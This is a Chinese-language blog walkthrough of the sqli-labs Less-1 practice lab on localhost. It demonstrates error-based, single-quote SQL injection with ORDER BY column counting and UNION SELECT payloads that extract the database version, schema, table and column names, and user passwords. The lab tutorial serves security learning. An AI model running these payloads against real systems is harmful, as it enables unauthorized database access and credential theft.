sql-labs--Less-1--Error based-Single quotes

发布时间 2023-09-04 16:58:32作者: weljoni
sql\="SELECT \* FROM users WHERE id\='id' LIMIT 0,1"; 打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。 https://images.cnblogs.com/cnblogs_com/blogs/800546/galleries/2341394/o_230904084633_image-20230903233859-2352t53.png 我们输入带有id的参数:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下图,正确回显界面。 ![image](assets/image-20230903234125-nor3k75.png) 我们尝试加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正确回显,然后我们将and 1=1 改为and 1=2,发现正确回显,为字符型注入,即说明存在闭合的干扰,所以我们在http://127.0.0.1/sqli-labs/Less-1/?id=1后面加一个'(单引号):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回错误。如下图: 注释:这里and 1=1 改为and 1=2,发现正确回显,因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为: select * from user where id ='1'; 所以sql语句不会报错。 ![image](assets/image-20230904070755-4puotz3.png) 爆的SQL语法错误('1'' LIMIT 0,1),多加了一个引号,即为字符型注入,说明为id='id'。 我们对‘后加--+进行注释。不能用# ,因为url中的# 号代表html页面中的锚点,数据传输过程并不会一起带到后端,且命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,或者将# 改为url编码(%23)。 然后我们使用order by对数据进行排序,查看数据有几列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超过3就会报错,显示结果超出。如下: ![image](assets/image-20230904105415-zm5rsps.png) 然后进行union联合注入(union 的作用是将两个 sql 语句进行联合。):当 id 的数据在数据库中不存在时,(即使 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来)此处前台页面返回了构造的 union 的数据。 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回显正确。如下: ![image](assets/image-20230904112405-o0flsqh.png) 我们可以看出是更改select中的2,3来使我们知道我们想知道的信息。 查询数据库版本和数据库名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+ ![image](assets/image-20230904112921-04boptb.png) 查询用户名和操作系统:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+ ![image](assets/image-20230904113047-e0oinbv.png) 也可以爆出数据库中的所有数据库名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上边已经将这个数据库的库名爆出来了,没必要再去爆所有数据库名。 爆出security 数据库的数据表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ ![image](assets/image-20230904114212-t8b9ybv.png) 爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ ![image](assets/image-20230904114445-awpt6i8.png) 爆出数据:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+ ![image](assets/image-20230904114638-44f3ipx.png)